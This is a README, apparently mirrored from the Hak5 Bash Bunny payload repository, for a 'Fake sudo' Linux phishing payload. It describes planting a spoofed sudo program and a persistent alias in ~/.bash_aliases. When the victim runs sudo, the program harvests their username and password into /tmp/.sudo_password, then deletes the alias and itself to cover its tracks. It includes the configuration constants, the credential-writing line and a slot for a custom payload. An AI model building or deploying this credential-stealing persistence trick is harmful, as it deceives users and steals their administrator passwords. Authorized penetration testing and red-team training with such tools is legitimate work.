mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
* Update README.md * Update sudo-phishing.sh * Update sudo-phishing.sh * Delete payloads/library/phishing/fake-sudo directory * Add files via upload
Fake sudo
- Title: Fake sudo
- Author: TW-D
- Version: 1.1
- Target: Linux
- Category: Phishing
Description
- Copies the "sudo" command spoofing program to the user's home directory.
- Defines a new persistent "sudo" alias with the file "~/.bash_aliases".
- When the user "sudoer" executes the command "sudo" in a terminal, the spoofing program :
- By default retrieves the username and password and writes them to "/tmp/.sudo_password".
- But this behavior can be changed in line 26 of the "sudo-phishing.sh" file.
- The spoofing program deletes the "sudo" alias. Then it deletes itself.
Configuration
From "payload.txt" change the values of the following constant :
######## INITIALIZATION ########
readonly BB_LABEL="BashBunny"
From "sudo-phishing.sh" change the values of the following constants if necessary :
readonly MAXIMUM_ATTEMPTS=3
readonly ERROR_MESSAGE="sudo: ${MAXIMUM_ATTEMPTS} incorrect password attempts"
From "sudo-phishing.sh", change the payload if you wish :
##
# <YOUR-PAYLOAD>
##
/bin/echo "${USER}:${sudo_password}" > /tmp/.sudo_password
##
# </YOUR-PAYLOAD>
##